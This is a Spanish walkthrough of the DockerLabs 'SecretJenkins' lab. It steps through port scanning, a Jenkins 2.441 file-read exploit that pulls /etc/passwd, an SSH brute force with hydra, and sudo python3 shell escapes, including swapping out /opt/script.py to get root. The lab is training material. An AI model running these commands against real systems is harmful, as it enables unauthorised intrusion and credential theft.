> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/secretjenkins.md).

# SecretJenkins

#### **Despliegue de la Máquina:**

**1. Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **SecretJenkins** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

**2. Descompresión:**

Utilizamos `7z` para descomprimir los archivos:

```bash
7z x secretjenkins.zip
```

<figure><img src="/files/hCSPcDYr5ZRRxW9rSNIY" alt=""><figcaption></figcaption></figure>

**3. Ejecución:**

Ejecutamos el script que carga la imagen y levanta el contenedor vulnerable en Docker:

```bash
bash auto_deploy.sh secretjenkins.tar
```

<figure><img src="/files/Dkf1MmPswGljKqScny4F" alt=""><figcaption></figcaption></figure>

***

#### **Reconocimiento:**

**1. Verificación de Conectividad:**

Confirmamos que la máquina está activa con un `ping`:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="/files/bVWDmF7NmqeFTcCZkjW5" alt=""><figcaption></figcaption></figure>

**2. Escaneo de Puertos:**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Identificamos dos puertos abiertos:**

* **Puerto 22:** `SSH`.
* **Puerto 8080:** `HTTP`.

<figure><img src="/files/MHB3RRV3A28WIyLL3sak" alt=""><figcaption></figcaption></figure>

**3. Escaneo Detallado:**

Analizamos los puertos encontrados con mayor profundidad:

```bash
nmap -p22,8080 -sCV 172.17.0.2 -oN targeted
```

**Resultados:**

* **Puerto 22:** OpenSSH 9.2p1.
* **Puerto 8080:** Jetty 10.0.18.

<figure><img src="/files/FN8yfTTcXW2HQn81C5rO" alt=""><figcaption></figcaption></figure>

**4. Identificación del Servicio Web:**

Al acceder a `http://172.17.0.2:8080/` visualizamos un panel de login de Jenkins.

<figure><img src="/files/hzG3sepHPmFyH9U4zTlI" alt=""><figcaption></figcaption></figure>

Ejecutamos `whatweb` para identificar la versión y las tecnologías que utiliza dicho servicio web:

```bash
whatweb http://172.17.0.2:8080/
```

**Detectamos:** Jenkins 2.441.

<figure><img src="/files/PbozkW8bnAt8UigDRrTY" alt=""><figcaption></figcaption></figure>

***

#### **Explotación:**

**1. Búsqueda de Vulnerabilidades:**

Consultamos fuentes de exploits y encontramos el siguiente: [Jenkins 2.441 - Local File Inclusion](https://www.exploit-db.com/exploits/51993).

<figure><img src="/files/BPLz6Olw8G1466TTQE1B" alt=""><figcaption></figcaption></figure>

**2. Ejecución del Exploit:**

Ejecutamos el script con Python3 para leer el contenido del archivo `/etc/passwd`:

```bash
python3 51993.py -u http://172.17.0.2:8080 -p /etc/passwd
```

**Identificamos dos usuarios locales interesantes:**

* `bobby`.
* `pinguinito`.

<figure><img src="/files/adT9EEbfJYnUowCqeqEu" alt=""><figcaption></figcaption></figure>

**3. Ataque de Fuerza Bruta SSH:**

Creamos un archivo con los usuarios detectados y usamos `hydra` con la lista `rockyou.txt`:

```bash
hydra -L usuarios.txt -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh
```

**Resultados:**

* **Usuario:** `bobby`.
* **Contraseña:** `chocolate`.

<figure><img src="/files/TL62WuMkYPjFHU5wI2VR" alt=""><figcaption></figcaption></figure>

Nos conectamos vía SSH:

```bash
ssh bobby@172.17.0.2
```

<figure><img src="/files/Mt0IFHNksDiZxNdDawSV" alt=""><figcaption></figcaption></figure>

***

#### **Escalada de Privilegios:**

**1. De Bobby a Pinguinito:**

Verificamos privilegios con `sudo -l`:

```bash
(pinguinito) NOPASSWD: /usr/bin/python3
```

<figure><img src="/files/isexMFjl2Ey55O3qpSor" alt=""><figcaption></figcaption></figure>

Eso nos permite ejecutar Python3 como `pinguinito`:

```bash
sudo -u pinguinito python3 -c 'import os; os.system("/bin/sh")'
```

Ahora estamos dentro de la máquina como el usuario `pinguinito`.

<figure><img src="/files/d439NTGd23v7Rg4mF0Ct" alt=""><figcaption></figcaption></figure>

**2. De Pinguinito a Root:**

Consultamos de nuevo `sudo -l`:

```bash
(ALL) NOPASSWD: /usr/bin/python3 /opt/script.py
```

<figure><img src="/files/H99p2dsRRk4hZBMKRuUN" alt=""><figcaption></figcaption></figure>

El archivo `/opt/script.py` tiene permisos de ejecución y lectura para el usuario actual, y su contenido ejecuta una función básica de copia de archivos. Aprovechamos este comportamiento para reemplazarlo por uno malicioso.

<figure><img src="/files/wkuVdUJB5KjtnUCkLt8h" alt=""><figcaption></figcaption></figure>

Creamos un script en Python llamado `1.py` que simplemente ejecuta una shell:

```bash
echo 'import os; os.system("/bin/sh")' > 1.py
```

<figure><img src="/files/uCkXs3qf0Tu9MyxSsjis" alt=""><figcaption></figcaption></figure>

El script legítimo ubicado en `/opt/script.py` lo eliminamos para evitar conflictos:

```bash
rm script.py
```

Renombramos nuestro archivo `1.py` para que tenga el mismo nombre que el original y esté en la ruta requerida:

```bash
mv 1.py script.py
```

<figure><img src="/files/yX88OSoyaXJM52weOmFA" alt=""><figcaption></figcaption></figure>

Utilizamos `sudo` para ejecutar el script con privilegios de `root`, ya que el sistema lo permite sin requerir contraseña:

```bash
sudo -u root /usr/bin/python3 /opt/script.py
```

**Resultado:** Obtenemos una shell como el usuario `root`, lo que significa que hemos comprometido completamente la máquina.

<figure><img src="/files/Vf8ROasZvp79hWWBvOgA" alt=""><figcaption></figcaption></figure>
